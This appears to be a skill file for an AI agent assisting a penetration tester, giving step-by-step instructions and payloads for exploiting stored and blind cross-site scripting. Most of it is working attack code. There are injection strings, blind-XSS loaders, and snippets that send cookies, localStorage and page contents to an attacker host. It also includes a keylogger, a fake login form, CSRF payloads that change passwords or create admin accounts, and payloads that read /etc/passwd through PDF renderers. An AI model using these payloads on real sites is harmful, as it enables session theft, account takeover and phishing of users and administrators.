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---
name: web-xss-stored
description: "You are helping a penetration tester exploit stored (persistent) cross-site"
sources: community, blacklanternsecurity/red-run
---
# Stored & Blind XSS
You are helping a penetration tester exploit stored (persistent) cross-site
scripting. The target application saves user input and renders it unsafely on
subsequent page loads, affecting other users who view the content. Blind XSS is
a variant where the payload fires in a context the attacker cannot directly
observe (admin panel, support ticket viewer, log dashboard). All testing is
under explicit written authorization.
## Engagement Logging
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
- Print `[xss-stored] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
## State Management
Call `get_state_summary()` from the state MCP server to read current
engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
## Web Interaction
- **`browser_open`** to visit pages where stored payloads render
- **`browser_evaluate`** to verify JavaScript execution in the rendered page
(e.g., check for DOM modifications, cookie exfiltration callbacks)
- **`browser_screenshot`** for evidence of stored XSS triggering
- **`browser_navigate`** to admin panels or other user views to test blind XSS
rendering
- **curl** for submitting payloads — precise control over encoding and headers
## Prerequisites
- Identified input that is stored and rendered later (see **web-discovery**)
- For blind XSS: external callback infrastructure (XSS Hunter, interactsh, or custom server)
- If the payload appears in the immediate response only (not stored), use **xss-reflected**
## Step 1: Assess
If not already provided, determine:
1. **Storage point** — where is input saved? (comment, profile field, ticket, filename, etc.)
2. **Render point** — where is the stored input displayed? (same page, different page, admin panel)
3. **Render context** — HTML body, attribute, JavaScript block, email template?
4. **Who sees it** — same user only (self-XSS), other users, admins?
Skip if context was already provided.
## Step 2: Identify Storage and Render Context
Submit a canary like `xss<>"'` to the storage point, then inspect where and how
it renders.
**Common storage → render pairs:**
| Storage Point | Render Point | Impact |
|---|---|---|
| Comment/post body | Public page | All visitors |
| User profile / display name | Profile page, admin user list | Other users, admins |
| Support ticket | Admin ticket viewer | Admin (blind XSS) |
| File upload filename | File listing page | Other users |
| Referer / User-Agent header | Analytics dashboard, admin logs | Admin (blind XSS) |
| Form field (address, bio) | Invoice, PDF export, email | Varies |
## Step 3: Stored XSS Payloads
Use `console.log()` instead of `alert()` for stored XSS — avoids popup fatigue
on every page load while testing.
**Basic payloads** (try simple first):
```html
<script>console.log('XSS:'+document.domain)</script>
<img src=x onerror=console.log('XSS:'+document.domain)>
<svg onload=console.log('XSS:'+document.domain)>
```
**When `<script>` is stripped but event handlers work:**
```html
<img src=x onerror=alert(document.domain)>
<details open ontoggle=alert(document.domain)>
<video src=_ onloadstart=alert(document.domain)>
<body onload=alert(document.domain)>
```
**When tags are stripped but attributes survive** (injection inside existing tag):
```html
" autofocus onfocus=alert(document.domain) "
' onmouseover=alert(document.domain) '
```
**In rich text / WYSIWYG editors:**
```html
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<iframe srcdoc="<script>alert(1)</script>">
```
**In file upload filenames:**
```
"><img src=x onerror=alert(document.domain)>.png
<svg onload=alert(1)>.svg
```
**In email / notification templates** (if HTML email is sent):
```html
<img src="https://ATTACKER/pixel?c=" onerror="this.src+='err'">
```
## Step 4: Blind XSS
When you can inject input but cannot see where it renders (admin panels, support
dashboards, log viewers).
### Setup Callback Infrastructure
**XSS Hunter** (self-hosted or trufflesecurity):
```html
"><script src="https://js.rip/YOUR_ID"></script>
"><script src=//YOUR_SUBDOMAIN.xss.ht></script>
```
**Custom callback** (Python one-liner):
```bash
# Start listener
python3 -m http.server 8080
```
**Custom payload** (sends page context to attacker):
```html
<script>
fetch('https://ATTACKER:8080/blind', {
method: 'POST',
mode: 'no-cors',
body: JSON.stringify({
url: location.href,
cookie: document.cookie,
dom: document.body.innerHTML.substring(0, 2000),
localStorage: JSON.stringify(localStorage)
})
});
</script>
```
### Common Blind XSS Injection Points
- **Contact forms** — admin views submissions
- **Support tickets** — support agents view in dashboard
- **User-Agent / Referer headers** — logged in admin analytics
- **Registration fields** — admin user management panel
- **Error messages** — developer error log viewer
- **File upload metadata** — EXIF data, filenames in admin file manager
### Blind XSS Payload Tips
- Use `<script src=...>` for external payloads — more reliable than inline
- Keep inline payloads short — storage fields may truncate
- Test with a simple callback first before deploying heavy payloads
- Payloads may fire days or weeks later when an admin views the data
## Step 5: Demonstrate Impact
**Cookie theft:**
```html
<script>new Image().src='https://ATTACKER/steal?c='+document.cookie</script>
```
**Session hijacking:**
```html
<script>fetch('https://ATTACKER',{method:'POST',mode:'no-cors',body:document.cookie})</script>
```
**Account takeover via password change CSRF:**
```html
<script>
fetch('/api/change-password', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({password: 'hacked123'})
});
</script>
```
**Admin action CSRF** (create new admin via stored XSS):
```html
<script>
fetch('/admin/create-user', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'username=hacker&password=Passw0rd!&role=admin'
});
</script>
```
**Keylogger:**
```html
<img src=x onerror='document.onkeypress=function(e){fetch("https://ATTACKER?k="+String.fromCharCode(e.which))},this.remove();'>
```
**UI redressing / phishing:**
```html
<script>
history.replaceState(null,null,'/login');
document.body.innerHTML='<h1>Session expired</h1><form action=https://ATTACKER/phish method=POST><input name=user placeholder=Username><input name=pass type=password><button>Login</button></form>';
</script>
```
## Step 6: Self-XSS Escalation
If the XSS only affects the injecting user (self-XSS), it may still be
exploitable:
- **CSRF + Self-XSS**: Force victim to submit the XSS payload via CSRF
- **Login CSRF + Self-XSS**: Log victim into attacker's account, trigger self-XSS
- **Clickjacking + Self-XSS**: Frame the page, trick user into pasting payload
- **Cookie tossing**: Set a cookie from a subdomain that triggers XSS on the main domain
## Step 7: Escalate or Pivot
- **Reflected but not stored**: Escalate
- **DOM-based only**: Escalate
- **Got admin cookie/session**: Access admin panel, look for further vulns
- **Admin XSS leads to RCE**: Check for admin functionality (file upload, plugin install, config edit)
Report in your return summary: any new credentials, access, vulns, or pivot paths discovered.
When routing, pass along: storage point, render context, working payload, and CSP (if any).
## OPSEC Notes
- **Stored payloads affect real users** — use `console.log()` during testing, `alert()` only for final PoC
- Payloads persist in the database — document exactly what was injected and where for cleanup
- Blind XSS callbacks reveal your attacker IP — use a proxy or VPS
- Remove injected payloads after testing (edit/delete the comment, profile field, etc.)
## Troubleshooting
### Payload Stored but Doesn't Execute
- Check if the render context HTML-encodes the output — try event handlers or encoding bypass
- Check for CSP — inspect `Content-Security-Policy` header on the render page
- Check if a sanitizer strips tags — try less common tags (`<details>`, `<video>`, `<meter>`)
- Check if innerHTML is used (blocks `<script>` but allows `<img onerror>`)
### Rich Text Editor Strips Payloads
- Inspect the raw HTML submitted (not what the editor shows)
- Try pasting HTML directly into the request via Burp (bypass client-side sanitization)
- Check for markdown injection if the editor uses markdown
### Blind XSS Not Firing
- Payload may be truncated — shorten it or use external `<script src=...>`
- Payload may be HTML-encoded on render — try different contexts
- Admin may not have viewed the page yet — blind XSS can take time
- Check if the render context strips scripts — try `<img>` with `onerror`
### SVG File Upload XSS
```xml
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">
<circle r="50"/>
</svg>
```
### PDF Generation XSS (Server-Side)
If stored input is rendered into a PDF (wkhtmltopdf, Puppeteer):
```html
<script>document.write(location)</script>
<iframe src="file:///etc/passwd">
<script>x=new XMLHttpRequest();x.open('GET','file:///etc/passwd');x.send();x.onload=function(){document.write(x.responseText)}</script>
```
